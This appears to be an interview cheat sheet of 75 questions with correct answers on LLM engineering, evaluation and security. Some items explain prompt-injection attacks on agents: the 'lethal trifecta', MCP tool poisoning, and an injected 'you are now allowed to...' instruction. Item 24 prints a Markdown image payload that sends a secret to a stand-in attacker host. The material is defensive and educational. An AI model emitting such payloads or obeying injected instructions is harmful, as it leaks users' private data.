AI and LLMs Senior cheat sheet: interview answers

Every question of this level with its correct answer and explanation, on one page for a quick review before the interview.

  1. 1. When is an LLM the wrong tool for a feature?

    Correct answer: When rules or a simple model solve it reliably and cheaper

    Deterministic logic, regex or a small classifier are faster, cheaper and testable. LLMs pay off for fuzzy language tasks where rules break down.

  2. 2. What is eval-driven development for AI features?

    Correct answer: Write evals with success criteria first, then iterate prompts against them

    Like TDD: define what good looks like, measure the baseline and make each change prove it improves the score.

  3. 3. How should success criteria for an AI feature be defined?

    Correct answer: Specific, measurable and tied to the task, e.g. 95% accuracy

    Vague goals can't be tested. Concrete targets for accuracy, latency, cost and safety guide trade-offs.

  4. 4. What makes an eval dataset representative?

    Correct answer: It mirrors real inputs, including hard, rare and adversarial cases

    Sample from production (anonymized), add known failures and edge cases, and keep a held-out part you never tune against.

  5. 5. Why keep a held-out eval set you don't look at while tuning prompts?

    Correct answer: To detect overfitting the prompt to the visible test cases

    Iterating on the same cases can make a prompt great there and worse elsewhere. A held-out set shows real generalization.

  6. 6. Your new prompt scores 84% vs 82% on 50 cases. What's the right conclusion?

    Correct answer: The gap may be noise; more cases or repeated runs are needed

    With small samples and non-deterministic outputs, a 2-point gap is often within variance. Confidence intervals help decide.

  7. 7. Why may offline eval scores and online metrics disagree?

    Correct answer: Eval data or criteria don't match real usage

    When they diverge, update the eval set with real traffic patterns and revisit what the metric actually rewards.

  8. 8. What is benchmark contamination?

    Correct answer: Test questions leaked into the model's training data

    A contaminated model may memorize answers, so public benchmark scores overstate ability. Private, fresh evals are more trustworthy.

  9. 9. How can an LLM judge drift over time?

    Correct answer: The judge model is updated and starts scoring differently

    Pin judge versions and re-check agreement with human labels when changing the judge, or score shifts look like quality changes.

  10. 10. What is the cost-quality frontier when choosing models?

    Correct answer: The set of options where quality can't rise without higher cost

    Plot candidate models and prompts by eval score and cost per request; choose the cheapest option that meets your quality bar.

  11. 11. When does a batch API make sense for LLM workloads?

    Correct answer: For non-urgent bulk jobs where lower cost beats latency

    Classifying a million tickets overnight at a discount suits batch. Interactive features need synchronous calls.

  12. 12. How do you keep a RAG index fresh as documents change?

    Correct answer: Incremental re-indexing on changes, plus deleting removed content

    Stale chunks give outdated answers; deleted documents left in the index can leak data or break GDPR deletion.

  13. 13. What must happen in a vector store when a user exercises GDPR deletion?

    Correct answer: Their chunks and embeddings are deleted too

    Embeddings derived from personal text can still carry it. Deletion processes must cover indexes, caches and logs.

  14. 14. When can a very long context replace RAG?

    Correct answer: For small, stable corpora where cost and latency are acceptable

    Stuffing a few documents is simpler. Large or changing corpora, access control and cost still favour retrieval.

  15. 15. What is query rewriting in RAG?

    Correct answer: Rephrasing or expanding the user question before retrieval

    "And for the pro plan?" depends on history. Rewriting it into a standalone query improves retrieval in conversations.

  16. 16. What is agentic RAG?

    Correct answer: The model decides what to search, maybe in several steps

    It handles complex questions needing several lookups, at the cost of more calls, latency and harder testing.

  17. 17. When is fine-tuning worth it over prompting a large model?

    Correct answer: High volume, a narrow task, and evals show it matches

    A tuned small model can cut cost and latency at scale. It needs good data, evals and a plan to retrain as needs change.

  18. 18. Why pin model versions in production?

    Correct answer: Silent model updates can change quality, format or cost

    Upgrade deliberately: run evals on the new version, roll out gradually and watch metrics.

  19. 19. How should a team prepare for a model deprecation?

    Correct answer: Evaluate replacements early and migrate with evals and a gradual rollout

    Deprecation dates are announced in advance. Prompts often need tweaks for a new model's behaviour.

  20. 20. How can you reduce provider lock-in for LLM features?

    Correct answer: A thin abstraction over model calls plus portable evals

    SDKs like the AI SDK help. Evals are what let you switch safely, since prompts rarely transfer unchanged.

  21. 21. What should tracing of an LLM feature capture?

    Correct answer: Each model and tool call: inputs, outputs, tokens, latency

    Spans per step make agent failures debuggable and show where time and money go. Redact sensitive data in traces.

  22. 22. An AI feature starts producing harmful output for many users. What is the first move?

    Correct answer: Use a kill switch or flag to disable or degrade it, then investigate

    AI features need the same incident tools as others: flags, rollbacks, fallbacks and a post-mortem that adds new eval cases.

  23. 23. What is the "lethal trifecta" for prompt injection in agents?

    Correct answer: Private data access, untrusted content and a way to send data out

    When an agent has all three, an injected instruction can read secrets and exfiltrate them. Removing one leg is the most reliable defence.

  24. 24. How can rendered Markdown leak data from an AI chat?

    Correct answer: An injected image URL with data in its query string is fetched

    ![x](https://evil.example/?q=SECRET) makes the browser request the attacker's server. Restrict image domains or disable auto-loading.

  25. 25. Why must code execution tools for agents run in a sandbox?

    Correct answer: Generated code may be malicious or buggy

    Isolated containers or microVMs with no secrets, limited network and resource limits contain the damage.

  26. 26. What should audit logs for an agent with real permissions record?

    Correct answer: Who triggered it, which tools ran with which arguments, and outcomes

    When something goes wrong, you need to reconstruct the chain of decisions and actions.

  27. 27. What is MCP tool poisoning?

    Correct answer: Hidden instructions in a tool description

    Tool descriptions go into the model's context. A malicious server can use them to steer the model into misusing other tools.

  28. 28. How should authorization work for MCP tools that act on a user's data?

    Correct answer: The server checks the end user's rights, not just the client's

    The model must never be the security boundary. OAuth-style delegated access and server-side checks keep actions within the user's rights.

  29. 29. What does defence in depth mean for LLM safety?

    Correct answer: Independent layers: input checks, rules, output checks, permissions

    Each layer fails sometimes; together they make a full failure much less likely.

  30. 30. Under the EU AI Act, what decides a system's obligations?

    Correct answer: Its risk category, from minimal to high risk and prohibited uses

    High-risk uses like hiring or credit scoring need risk management, documentation and human oversight; chatbots have transparency duties.

  31. 31. What are the four functions of the NIST AI Risk Management Framework?

    Correct answer: Govern, Map, Measure, Manage

    They cover policies and roles, understanding context and risks, assessing them, and acting on them throughout the lifecycle.

  32. 32. How do you test an AI feature for unfair treatment of groups?

    Correct answer: Run matched inputs differing only in group attributes

    Counterfactual tests (same CV, different names) reveal disparities. Metrics need a definition of fairness agreed with stakeholders.

  33. 33. How should agents be evaluated beyond the final answer?

    Correct answer: Check the trajectory: tools, arguments, no harmful steps

    An agent may reach the right answer by luck or via unsafe actions. Trajectory and end-state checks catch both.

  34. 34. What does an end-state eval of an agent check?

    Correct answer: The environment ends in the expected state

    For a booking agent: exactly one booking exists with the right details, and nothing else changed.

  35. 35. What is a simulated user in chatbot testing?

    Correct answer: A model that plays a user persona to drive multi-turn conversations

    Simulated users scale multi-turn testing. Their realism should be checked against real conversations.

  36. 36. What is shadow mode for a new AI model or prompt?

    Correct answer: Running it on real traffic without showing its output

    Shadow runs collect realistic comparison data before any user is affected.

  37. 37. Why roll out prompt changes gradually behind flags?

    Correct answer: Real traffic shows what evals missed; rollback is fast

    Canary a new prompt to 5% of users, watch quality and cost metrics, then expand.

  38. 38. What is a human review queue for AI outputs useful for?

    Correct answer: Checking risky or low-confidence cases before they reach users

    Routing by confidence or risk keeps humans focused on cases that matter and produces labelled data.

  39. 39. How can a team measure the hallucination rate of a RAG assistant?

    Correct answer: Sample answers and check claims against sources, by judge and humans

    Faithfulness scoring on a regular sample, calibrated with human checks, gives a trend you can act on.

  40. 40. Why is abstention ("I don't know") an important behaviour to evaluate?

    Correct answer: Answering confidently without evidence is worse than declining

    Evals should include unanswerable questions and reward correct refusals, not just answer accuracy.

  41. 41. What should a team check about data retention when using an LLM API?

    Correct answer: Storage time, training use and zero-retention options

    Contracts and settings decide whether prompts are logged or used for training. Sensitive workloads may need zero data retention terms.

  42. 42. What is a risk of strict structured output constraints on complex reasoning tasks?

    Correct answer: Forcing the format too early can reduce answer quality

    Letting the model reason first, then produce the structured result, often works better than demanding JSON immediately.

  43. 43. When is a reasoning model worth its extra cost and latency?

    Correct answer: For multi-step tasks with a clear eval gain

    Simple classification rarely needs extended thinking; complex planning or code often does. Measure, don't assume.

  44. 44. How do you estimate the ROI of an AI feature?

    Correct answer: Compare measured impact, e.g. time saved or resolution rate, with total cost

    Total cost includes tokens, infrastructure, evaluation, review and incident handling, not just API bills.

  45. 45. What is the main challenge of testing an AI coding agent?

    Correct answer: Checking the produced code works and is safe, not just plausible

    Run the agent's changes against real test suites in sandboxed repos, and review for security issues and scope creep.

  46. 46. How should ownership of prompts be organized in a product team?

    Correct answer: Clear owners, code review and evals

    Prompts are product logic. Untracked edits are a common source of regressions.

  47. 47. What is the trade-off of letting an agent choose its own steps vs a fixed workflow at scale?

    Correct answer: More flexibility but higher cost, latency variance and harder testing

    Many production systems use workflows for the common path and agents only where flexibility pays off.

  48. 48. How do you test a guardrail without making it too strict?

    Correct answer: Measure missed harmful cases and blocked harmless ones

    Precision and recall of the guardrail on labelled data show the trade-off; product decides acceptable levels.

  49. 49. What is a model card or system card used for?

    Correct answer: Documenting intended use, limits, evals and risks

    It helps teams decide whether a model fits their use case and what to test themselves.

  50. 50. How can retrieval leak data across tenants in a shared vector index?

    Correct answer: Queries without tenant filters can return other tenants' chunks

    Filter by tenant in every query (or use separate indexes) and test with cross-tenant probes.

  51. 51. What is a capacity risk specific to LLM features?

    Correct answer: Provider rate limits can cap traffic during spikes

    Plan quotas with the provider, queue non-urgent work, and degrade gracefully when limits are near.

  52. 52. Why is copyright and licensing a concern for AI-generated output?

    Correct answer: Output may reproduce licensed material, and terms differ by provider

    Teams check provider terms, model licenses for open weights, and use filters or review where reproduction risk matters.

  53. 53. What is the role of guard tests when upgrading the model behind an agent?

    Correct answer: Re-run trajectory and safety evals for new behaviours

    A more capable model may also take bolder actions. Safety and permission tests matter as much as quality.

  54. 54. How can you make LLM eval results reproducible?

    Correct answer: Pin model and judge versions; store prompts and data

    Without versioned inputs, a score change can't be traced to a cause.

  55. 55. Why should cost be part of an eval report?

    Correct answer: A small quality gain may not justify a large cost increase

    Reporting quality, latency and cost together makes trade-offs explicit for product decisions.

  56. 56. What is an AI incident post-mortem expected to produce?

    Correct answer: Root cause, fixes and new eval or guardrail cases

    Each incident should leave the system better tested, like any other production incident.

  57. 57. How should an agent handle content from tools as opposed to user instructions?

    Correct answer: As untrusted data that can't grant new permissions

    A web page or email saying "you are now allowed to..." must not change what the agent may do.

  58. 58. What's a sensible latency budget approach for a chat assistant with tools?

    Correct answer: Targets per step, and stream progress to users

    Showing "searching orders..." while tools run, plus timeouts per tool, keeps the experience responsive.

  59. 59. When does running a small model locally in the browser or device make sense?

    Correct answer: For privacy-sensitive or offline tasks where a small model is good enough

    On-device models avoid sending data out and work offline, at the cost of capability and device resources.

  60. 60. How should a team decide which AI risks to address first?

    Correct answer: By likelihood and impact for this use case, documented in a risk register

    Frameworks like NIST AI RMF structure this: map the context, measure the risks, then manage the most important ones.

  61. 61. Why are accessibility checks needed for AI chat interfaces?

    Correct answer: Streaming text, focus and live regions must work for screen readers

    Updating content needs aria-live handling, keyboard access and readable formatting, like any dynamic UI.

  62. 62. What is the risk of letting a model generate and run database queries for analytics?

    Correct answer: Wrong or costly queries, data leaks, unguarded writes

    Use read-only roles, row-level security, query cost limits and show the SQL to users for verification.

  63. 63. How do you test that an AI assistant respects user permissions in its answers?

    Correct answer: Ask as users with different rights and compare

    If a regular user's answer includes data only admins can see, retrieval or tool permissions leak.

  64. 64. What is the purpose of a red-team exercise before launching an AI feature?

    Correct answer: Finding injection, leakage and misuse paths before attackers do

    Results become fixes, guardrails and permanent eval cases, and repeat on major changes.

  65. 65. How should an AI feature behave when its provider is down?

    Correct answer: Degrade gracefully: fallback model, cache or a message

    Design the non-AI path. Many features can offer search or a human contact while AI is unavailable.

  66. 66. Why are long-horizon agents harder to evaluate than single calls?

    Correct answer: Errors compound over steps and depend on the environment

    Evaluations need realistic sandboxes, checkpoints and budgets, and failures must be analysed step by step.

  67. 67. What does "AI feature observability" add beyond normal APM?

    Correct answer: Quality signals like judge scores, feedback and drift

    A feature can be fast and error-free while giving bad answers. Quality metrics close that gap.

  68. 68. How do you avoid an eval suite that only tests what the team already thought of?

    Correct answer: Feed it production failures, red-team findings and feedback

    Evals should evolve with real usage while a stable core keeps results comparable over time.

  69. 69. What is a sensible policy for AI-generated content shown to users as fact?

    Correct answer: Ground it in sources, label it and route high-stakes cases to review

    Transparency and grounding reduce misinformation risk and support regulatory duties.

  70. 70. Why can adding more tools to an agent make it worse?

    Correct answer: Tool choice gets harder and descriptions compete for attention

    Fewer, well-described tools or routing to specialised sub-agents often outperform one agent with dozens of tools.

  71. 71. What should be tested when an AI feature supports file uploads like PDFs?

    Correct answer: Parsing, size limits, malicious files and injections

    Uploaded documents can carry prompt injection, huge sizes or unreadable scans. Each needs a defined behaviour.

  72. 72. Why is it risky to use the same model as both generator and only judge?

    Correct answer: It may favour its own style and share the same blind spots

    Self-preference bias inflates scores. Use a different judge, rubrics and human calibration.

  73. 73. What is a practical first step to secure an existing LLM feature?

    Correct answer: Threat-model its data, tools and output paths

    Mapping data flows shows where injection, leakage or excessive agency can occur and which controls matter most.

  74. 74. How should evaluation differ for a high-stakes domain like medicine or law?

    Correct answer: Expert-reviewed data, stricter thresholds, human oversight

    Error costs are high, so rubrics come from domain experts and the system should support, not replace, professional judgement.

  75. 75. What is a prompt regression test?

    Correct answer: Re-running saved cases after a prompt edit to catch quality drops

    A one-word change can break a format or a rule. Saved cases with expected properties, run in CI, catch it before users do.